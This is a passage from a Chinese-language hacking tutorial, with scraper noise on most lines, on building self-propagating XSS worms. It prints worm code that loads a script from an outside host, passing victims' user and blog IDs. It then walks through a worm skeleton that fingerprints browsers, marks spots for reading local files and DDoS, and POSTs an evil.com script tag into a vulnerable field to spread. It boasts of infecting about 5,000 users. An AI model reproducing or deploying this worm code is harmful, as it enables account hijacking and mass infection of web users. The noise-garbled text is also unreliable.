4 e8 Q k) D; p% y) |
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象4 s6 _" m0 s) o. m& [
, p0 r! h1 l! Z# Z0 x2 {
if(xhr2){ //如果成功" s+ N, K9 c/ X
$ Z% M# ^1 D+ d/ Z: w. J3 j
xhr2.open("GET",url,false); //打开上面的那个url, \; B0 {1 ^" P1 @8 d; O# }! o
" p8 f* _, S C* O5 o
xhr2.send();
6 J+ \' B" t6 D) v! R1 D' D( `/ ~% w( n3 Q: j
guest2=xhr2.responseText;& [) ~ g# L, V& e
2 O* R2 u( Q9 \8 h, r& B
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
0 c/ m% a! }" z2 N; X( s7 e0 W7 |* Y) L8 ?+ ^- G
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
* m2 c+ R; W Y0 Y3 Y
M$ d# M/ D8 E3 ^! J k+ O) F if(mycheckmydoit!="-1"){ //返回-1则代表没找到
; r: c# m# H* w) p- ]' p: L# g
7 t1 _! Y: D \* I( K9 X! h: G targetblogurlid=myblogid; ' _+ Q7 }. F5 e2 |" P+ U
. b6 z* ?9 n0 Z3 W& t* R5 p" }' D( d
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
! b" f8 n5 y$ m5 f& \7 Z
/ W' p, A4 c2 f1 s- J$ i break;
( a: Y5 O8 D6 `3 d% i5 a, m& @' G6 ]# F2 I1 z6 ^) n
}. @; F5 f3 e* o! D
0 S! r q: f: a3 S5 R
if(mycheckit=="-1"){9 d$ Q/ I5 i* S7 v
4 F! `% j* w/ H0 p targetblogurlid=myblogid;+ C% P; ]' J, S1 n4 F! Q! R
' m3 y8 h1 x! w6 ~5 g2 ~
add_js(visitorID,targetblogurlid,gurl); //执行它
! q0 ~8 V- w% l8 C, W
0 c! h, T7 @3 t9 h* T break;
7 r- x1 v+ U/ }1 W/ j' o- _$ Y9 `
8 U8 b- T/ L: C }
9 O9 O: d& m; t/ i: s) ?3 H+ i- O( o3 E( l# W
}
5 N' o6 {$ F V# H$ N1 `, j
* A2 Z" J& p0 P8 B R}9 _! q" O* L* ~- n( p/ h% H
5 w% O9 m _9 g& F% J' k, Q$ Z$ L
}+ \" n$ L1 R# V2 _
0 x6 Y" ~ R# u
0 M, y$ c7 f/ h- a* L( [% n7 v# Q* z K5 a; i+ I
//--------------------------------------
7 Z! h( Y( a. b; h, k+ {
" u& S4 a6 }5 B* x//根据浏览器创建一个XMLHttpRequest对象. {6 X+ k8 I1 W1 ]: n2 B3 j' R
! {+ m* k5 E* V. U% \) d
function createXMLHttpRequest(){
6 a, N" \& y0 ]. K6 f/ o8 k8 r( o/ q& U1 w( L" }5 l' t% i
var XMLhttpObject=null;
1 H' f! y5 o& g& i# Q
- [; r1 B9 q8 u4 V* \. x+ g/ [ if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
q6 s: ~- \9 D, M9 Y2 a T1 Z3 M+ \
; B, { w' d# |6 n' z m- a0 t5 V else
# k% C) Z$ T6 ~% z- |( e" \4 a: e2 v' O! C" Y2 C
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; ( q; T% a/ Z \. y
+ K2 z3 C4 G; G5 R2 x& y( r
for(var i=0;i<MSXML.length;i++) , j! S$ @% x8 \
" v9 p" N3 q( ], n; \) C' ^ {
9 X z3 D# G3 D0 H5 D
& W7 o* k3 ^7 ~- T- l try
~& Y9 g& K$ C7 W8 V: g" s7 H" y0 V9 _
{
5 s* U. `# D+ O; m
4 ~( c/ q' \, z" A XMLhttpObject=new ActiveXObject(MSXML); 2 r% k5 o; v$ |& {: j6 ~! {
* ]5 \- E: n& l# L- M8 ~
break; : P- u/ A# @3 i2 T; `( |' a
P; e& X5 w- h2 d5 P, V2 p }
: [) \9 T8 u3 T' @- B' H* ?( x8 l* T$ r5 `' E( I4 ]- U2 g) B
catch (ex) {
9 G) u2 L! a- K2 h% ?1 w- N* p
2 C/ F4 x1 m# Z }
' R' m2 ~3 w* v$ G* x* I1 W" H) s. q5 s8 y
} 2 W4 B% e' I6 D2 c; @3 l
# G" @- N( U9 _$ D D }
, L/ M& _# L. h4 v
6 V! q, i7 b+ E7 sreturn XMLhttpObject;0 H4 y" Y5 O' u/ c6 ]
8 I: w( M4 {; l$ G) b
} $ t& Y9 D# M9 L! y
9 q; k7 I% }/ i1 l; E# {' a# t" D2 ]
3 [7 M0 M4 x/ P1 ]. s) [: |7 a
+ }# p5 x5 E j {% {8 h//这里就是感染部分了/ W# v% h0 c7 g! {4 \: J5 w( Y
# X0 d- Y, A/ r Ffunction add_js(visitorID,targetblogurlid,gurl){
8 F) d: H9 o _6 p" q6 `4 Q _& M+ r- a! [/ f. q9 m
var s2=document.createElement('script');
4 I* m! ?" `. e4 T8 }3 Z4 I5 p4 C
) V7 }1 _0 Z% u- h) Q4 ]* Gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
4 n3 I' g9 `1 R: a! |! |8 K5 s0 n1 g$ M9 Z) v& W/ v
s2.type='text/javascript';5 [8 H5 d" Q- Z3 M7 _% b
) \8 A( l2 t5 h0 w
document.getElementsByTagName('head').item(0).appendChild(s2);
- ?$ ~+ g8 r. o1 M( F* f- t/ ]/ _# Q2 v3 i9 w; i2 O& z+ L& w' [: s3 i* t
}
; N2 y; ]" q2 j1 I8 P( m1 k$ Z1 e* v- }6 c+ c. y. N( q
: v* L% ?% [" n
( l0 G4 o, O* g2 \5 E' a6 V( vfunction add_jsdel(visitorID,targetblogurlid,gurl){+ y& \* W- B' i- v; X {- J
( m7 q- g3 E. F9 @
var s2=document.createElement('script');) H2 g. w, F3 G: s$ S- u
1 T1 u( V/ |; x
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();5 |4 E2 f6 u3 J; P' A0 h
9 ]$ Z0 i l# K; O# Q3 hs2.type='text/javascript';7 |- F0 [6 n- ]( J8 j* g( D4 m
* Z4 E: q- p; h, \document.getElementsByTagName('head').item(0).appendChild(s2);
$ X5 n; Z) o, Y% I( T7 m9 ]) s5 \
}
9 b1 D1 h. W( a! Z) K复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:4 G5 { U5 x2 M5 c. R' t
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
% d f" W- _7 M2 j3 q2 G; b
6 t D. B( L+ _1 ?8 ^2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)& B' z0 P; t j# ^( k6 r: \# @8 h
h+ Q. @* n3 q
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
6 D4 N1 G, |) o b! g, z2 D1 y1 l
: S4 X, l; ~$ F' N- L/ ]
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
9 B3 v) _6 b( e. B+ q, `+ K# ?0 _: r1 o7 M/ S4 W
首先,自然是判断不同浏览器,创建不同的对象var request = false;
: {. ?1 D- y2 Z7 a+ C4 s9 M# ~. i% l9 A Z
if(window.XMLHttpRequest) {
& S5 V. X* V0 h9 V4 ]/ b6 e; A$ f$ [5 S( M: f5 G4 t; k
request = new XMLHttpRequest();* s& j- u! u, N5 L8 [( v/ z% W
$ c3 W8 O% I! eif(request.overrideMimeType) {9 X) m: W, r- E% R% m
& c8 ?: n b( v2 D% @request.overrideMimeType('text/xml');; K! e+ C8 R7 g, e6 N6 A S1 A
* t G+ y0 j$ [5 T5 I. c9 M
}. d% L$ R* M3 Z5 j E, ]2 c$ \8 Q' l
. S! l7 I |" d, k} else if(window.ActiveXObject) {
# M9 a! M: E% {! k
. z; |! y5 x7 {& G! i0 `var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];& c% w, `: N; ?/ K# ~4 F4 {2 G. [
- W2 v5 M1 D8 c& [9 Y8 }, C) zfor(var i=0; i<versions.length; i++) {
, Q5 E/ o6 ?% g8 s& H/ W+ g( M# d! B+ X! q* D
try {' ?) A8 y5 K5 K$ }1 L$ _3 S
{" `4 ]: {! L, r" j
request = new ActiveXObject(versions);3 @1 u; ]8 f3 J( t
: z9 i) _4 w6 z# I- B
} catch(e) {}
1 I/ R/ I+ }- X) Q R% _/ V3 V% e" a7 |. S4 q% h3 I
}
! N' A8 B# ~ k. b6 c4 \* T9 y: D! w) n" f
}# S. _( o" w- }: s. ~) \ h, [
& r$ h+ x$ H7 R; g( h0 u
xmlHttpReq=request;. ]) o/ M" r$ M n; L, W+ R
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
8 m/ L! R7 Q7 F: y0 u8 j% x
& t0 v3 u# W. V8 R7 I9 K var Browser_Name=navigator.appName;5 f8 Q% q8 R9 w! X
+ i$ E) W0 X$ u$ o var Browser_Version=parseFloat(navigator.appVersion);; |* _7 J6 ^0 O/ l6 g8 L
2 W% _: [ H& D: n, \ var Browser_Agent=navigator.userAgent;
+ z @+ e; D4 F* B1 x* ^3 i7 S# O2 s6 i, u0 w7 [7 F
6 |& j9 w6 g) P5 b0 a2 D+ r& w, U+ m
& a5 ?) t* W! w! x& B, q" j var Actual_Version,Actual_Name;
& I" j3 }0 B; ]6 N" D/ n! V$ L
2 b9 s% J% H: d- W, c: L 6 Y2 `( H% F- W& H3 b5 k
, W) g: }* q* `+ Z' b6 I! j- Q
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
! ~3 p' M; p/ a; Y& T4 P6 d9 r1 w2 s" ?+ p8 Y3 E- J
var is_NN=(Browser_Name=="Netscape");' `. J) W3 x. R2 _
, ]$ E$ P; j# E3 u var is_Ch=(Browser_Name=="Chrome");
0 c$ {% a* m1 @) ?# Y g
, Q/ Z6 A" \6 U# g" S % e7 y; V5 @3 V& f) x
/ [* B/ ?. S7 ^/ c
if(is_NN){$ u4 g& g' g* T2 _1 [
0 j( d2 | W+ ?$ l if(Browser_Version>=5.0){: ]1 b% I% k$ l- n% p* i
' }$ J- n$ B- U1 O+ s5 P$ d var Split_Sign=Browser_Agent.lastIndexOf("/");
3 i) u5 |, V. G; t, W
; h# D' V7 J* I @# g) t var Version=Browser_Agent.indexOf(" ",Split_Sign);2 D# H: b' N) @: Z
r" F0 k0 F2 {( I) O8 ^0 P6 t
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);. @4 M1 Z8 b7 P3 e/ Y/ g
2 L- c7 M3 ]# l- }9 L1 n3 o ]% l9 h$ i
4 M! O1 p% r; V8 q0 L8 v' j- y% b1 q3 `
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);. z: f( s! Z c' t9 \
% M, m& a; S! ~( `* l Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
& U8 [( ~6 [7 ]2 x3 W5 C# l8 q3 q3 F9 A& L/ _9 S
}
! M1 x4 j) C$ Q8 P( e1 u. H
0 T3 i, a# \& S# S- n2 r0 O( G else{9 j* J2 b! Y3 t" u/ `8 v( X
8 n) T. V: z& O( z; T Actual_Version=Browser_Version;4 X! I. C2 M& P1 m( k
% D' M0 U5 i3 } Actual_Name=Browser_Name;- l* f+ ^% Q& I- V+ P& W
! i r& b2 u8 D& h
}
/ D" p7 f* M* P# L- X. ]. |8 ]4 s/ F
}
4 T0 `, _4 {6 U2 K$ y& f) t+ F! w* r- ?3 I! s
else if(is_IE){. b8 x, e" a8 f. Y* B, Q
1 {! A+ g8 B$ q& I* U var Version_Start=Browser_Agent.indexOf("MSIE");
. Q$ l6 C( L( f( ]! T/ o% H; x: T4 V. h# n; T% X* }
var Version_End=Browser_Agent.indexOf(";",Version_Start);; v/ T" S b& W
+ ~. {: q6 _4 V J; K+ [% R$ ~ Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
6 ?# r, K3 ]( |/ V! O( O d
1 d2 K! G" @: m# G# L Actual_Name=Browser_Name;
8 P! V# Y% {$ p" j
% A2 R I, V. a% r 9 _+ m0 s+ e7 G; g$ g- R; z& R
* P" m2 d- \# V
if(Browser_Agent.indexOf("Maxthon")!=-1){. ]) u. ?) M- M% W; Y4 @( E5 ^9 s
6 Z) W* ~+ c7 k Actual_Name+="(Maxthon)";9 Z2 a6 a' p5 P
: N0 s/ }& E5 ]2 X0 a7 ~
}
0 K t$ g' e( b/ l2 ~- @$ B1 o4 o1 X
else if(Browser_Agent.indexOf("Opera")!=-1){
+ |' B A$ B/ H. `% L q" K- U2 h- p2 Q2 S# T: M, r
Actual_Name="Opera";
8 V8 z% q) b& r" P+ M a) z# S8 Y" w/ ]3 k5 I
var tempstart=Browser_Agent.indexOf("Opera");
0 \2 @& G% P, p2 d
5 V w9 j8 a0 ?4 T4 Y var tempend=Browser_Agent.length;, t* Y B6 w2 x) G- h
4 y. O0 z& _5 M& S Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
( [- o$ W/ w" r& h/ z( w/ d4 f$ _) M! K
}. g4 \ g; j9 K* D
5 N+ h+ Y6 |; H7 \ }
9 k3 p+ ?4 d( b$ i9 }; u& u" H: x& g& S4 ]
else if(is_Ch){
- m8 O$ A! g3 t
B$ `4 s' W) o2 _, z var Version_Start=Browser_Agent.indexOf("Chrome");
2 W6 l1 C. {% d0 Z5 `' R C C+ a8 }" P R- d! T9 H% n7 m+ f
var Version_End=Browser_Agent.indexOf(";",Version_Start);
3 h, r* i% P- B, _. y6 Q- j* O
/ a, y% j0 j* e9 h. O Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)3 f6 M- ^* [: Q. P. c9 F* t
: u. `4 R: `+ L. l
Actual_Name=Browser_Name;' S% e( O9 _& O2 O: g
* |& G, x! T; K7 o+ d
0 N, g! E. M/ g& D
4 j; y& H6 g5 U' F% p8 z8 }8 w if(Browser_Agent.indexOf("Maxthon")!=-1){
* ?& _* ]1 h$ N, I' x: Z7 Y
6 ?+ ]. h* |/ ~0 O7 c Actual_Name+="(Maxthon)";
( q8 |; h& n/ _3 o' N! U4 B" T# G7 t2 a2 `
}2 z3 x8 K, j5 O, i
6 K$ [& F. f9 h v0 R2 V$ _& r else if(Browser_Agent.indexOf("Opera")!=-1){
8 o4 h' M" n! A
0 g& x, g5 F3 _% z5 R/ {7 I J' C Actual_Name="Opera";# ?) u3 ?$ _' ?0 M4 d
3 k4 q8 E; _# V( g* c u' `5 ^/ O var tempstart=Browser_Agent.indexOf("Opera");( B; }% O+ m3 U9 F/ O# g
$ q: M' A0 u$ Q' q, P var tempend=Browser_Agent.length;* ?+ j; ?' }+ Y$ X* V- q4 N
7 ~, B0 x8 Q, N6 K- d
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)+ C! G; H# S2 Y9 o
5 Y" Q2 @6 W, _( b" h; C }
4 G! o0 P4 [. @! [5 [" ^3 O3 c, F {6 j+ }! e0 J: o" @
}
% d' Q% @4 _( D; i6 W6 ^9 R+ j9 L" u& R+ m
else{. f5 N4 P. J% A+ T: ~: b; ^
; ^5 R% P) J0 L" [ Actual_Name="Unknown Navigator"( r6 l$ e8 C* }' Q- _+ ^
8 o& _4 M9 P! p; l, Y/ l4 @2 I Actual_Version="Unknown Version"/ L' q8 e2 z4 L2 U# U
2 q- W: ]* ~3 }# n7 l% V, S
}
- L* @) }' v) e, J! B' f
/ {0 D' S- N% p+ B z2 k" \. y `+ Z# m8 P0 b1 H( L
- i8 H) ?" {5 B4 ?$ H4 } navigator.Actual_Name=Actual_Name;3 l, j/ a$ ?5 Y: I4 ?" ?# z3 j
% G, P& G4 q3 _3 B& d, `- n navigator.Actual_Version=Actual_Version;
3 ~5 @9 X r+ h( x2 @3 O5 y2 u: A' R; b: P, \
) A( N e% F7 U5 t' J% l. v
, B X/ t, O% E5 h q; |4 ]" A this.Name=Actual_Name;# O% u. \/ o/ `6 T
: Q6 |2 @6 A0 j" } Z this.Version=Actual_Version;, H [, K. c" r& k9 R9 l) x
4 m4 A. ]7 m9 \3 h4 w% j
}2 U& r1 z: D8 \8 J
# U7 A7 O0 G. Q* | browserinfo();
c" n1 }5 Z: X) o+ e) P |# i. y5 f; z8 x
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}: S z' e7 ]9 |& z: \8 M' O+ z& l
! i0 d0 H$ o. V$ H
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
6 X8 M8 r o6 \" n$ l! K |; N |% r
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
: t2 _$ T M Y: h: z W+ t9 G. J/ Z% @6 X. a7 {8 n
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}1 k) r+ I% C- H- ?8 s( S
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码. Z! J# ^0 W- k% F" r/ t# i- ]
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
# F4 N7 q- P1 v6 g复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.( m4 S: @% _) u0 Z7 E' Y
8 B! K4 j8 |5 ^+ v0 F* t. YxmlHttpReq.send(null);* c: e7 l& _) N; Q5 s2 C
, | y6 y8 X1 F. T, U, q) D0 a2 t5 t
var resource = xmlHttpReq.responseText; d9 |, |) s: t, W( c
8 h/ x. A5 T. Lvar id=0;var result;
6 @5 Q# M* R8 O) e! ]( ^
' Z2 V0 e3 F9 [& o! i' R" Qvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
8 @! z" J0 [, J; K$ }
' Z, s3 V5 ]$ S$ _while ((result = patt.exec(resource)) != null) {
# k& I, v1 Q% A
* H" F& U9 F1 k, l9 Q# Yid++;
# \- g6 s7 g( x+ B+ t. ? f H
7 Q- h' B0 A+ b3 I# D$ N}- a. M5 M9 {: V7 h
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.- Q3 f$ i( `& ?/ l, t3 C
% {5 s# B* l9 y: w/ B
no=resource.search(/my name is/);" ^8 V4 P5 d; _# s
- Y; ~5 x3 t. _ q& ^5 K* nvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
9 N% H- ?% S5 c# w# s2 r% w7 ~3 c5 Q1 R
var post="wd="+wd;1 N/ Q! l: H) q- D- S
6 V3 m/ ?2 d! H
xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.$ P Q6 h) \+ S; m: h9 H
5 J& P. i. I3 }: T# e
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ @; |( X" e ^5 n; i
, Q/ Z0 r/ K2 L- GxmlHttpReq.setRequestHeader("content-length",post.length);
, [+ `/ q9 l1 B# P8 c7 M. G, z. H) i( y( @+ i" o& _
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
+ R2 e- o5 Y. o, j( G6 A5 n! J# H+ A% {: i( y6 o9 C
xmlHttpReq.send(post);
+ w3 ?/ O- t% g3 y# j8 s7 ?2 _4 _9 X) z* z, b# _& d: d, }
}& f! h" {" A7 W* y# j2 W# F2 G
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{% [8 B% m& @9 U1 K
+ X( \: _) d+ G# `9 Y+ Ovar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
5 |) _$ B4 v( o; A( _% B p4 \6 o1 f5 ?
var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.* T3 S' Q8 Z# U; V
# }! |, I, i$ @1 ?2 ivar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
" G& T+ ?% f) e: K- c$ I( i6 S% A- {
var post="wd="+wd;: _9 w' N8 A6 |
3 i$ T% r1 |& u( x2 M
xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);$ |: l% X1 M1 F- t: d2 U
% Q( S2 [! E n: `2 m( [! L6 C7 |* [xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");$ O9 l7 Z# h" _& K4 Q
2 F$ ~# l0 E v! h1 s
xmlHttpReq.setRequestHeader("content-length",post.length);
/ |: M0 V+ d1 r* A8 P& F
/ m1 B, a7 l; T6 \xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");- x+ K, v9 \7 N1 V( J# r- A
7 A& h" K3 G( I+ e" D& P" n! TxmlHttpReq.send(post); //把传播的信息 POST出去.
) `( K$ ?% I0 Y2 {; ^# B. q1 K) p; z7 K- ?+ F/ z* H8 H% J' L; y
}
+ X- e4 M/ W! K! \# r y6 p Y复制代码-----------------------------------------------------总结-------------------------------------------------------------------6 Q& m i0 [5 Y& M% u a
r. s% M+ D% R! Y3 D
/ H% Y! P4 j! ]# t7 j& [7 ~. m& p' l h3 w) @
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户. _3 P9 F: {" x& L7 S9 v; N
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
4 v& e) z. {" h9 v+ X* q9 i操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.( T. Q* C1 a! \9 E
+ T! b0 P& H& i7 X. B- X4 I5 R" O
0 o" T- H# z( }' k
3 {! U5 p$ F9 K# D+ S9 }
) H! F; P" }: |. D. ^) ]# G
W1 d4 v$ }$ R) E( C
- W9 [" C/ m$ d/ w7 N- N$ v
. q) j/ i: Q0 o; Q+ k, ^
- G$ m, y: a% P# [* k本文引用文档资料:6 e: p3 L1 |$ b U
# _8 p5 h! ?, s2 ]9 n y: j"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
1 p8 A |/ V4 b# o; ]0 E7 xOther XmlHttpRequest tricks (Amit Klein, January 2003)$ `1 y7 R2 ^- U$ \. n
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
% S2 d7 C0 I0 W4 Z9 @http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
0 B' h: O+ E1 ?空虚浪子心BLOG http://www.inbreak.net
: H& v1 Z* K. z1 jXeye Team http://xeye.us/3 I' G( i, X7 I' c! c
|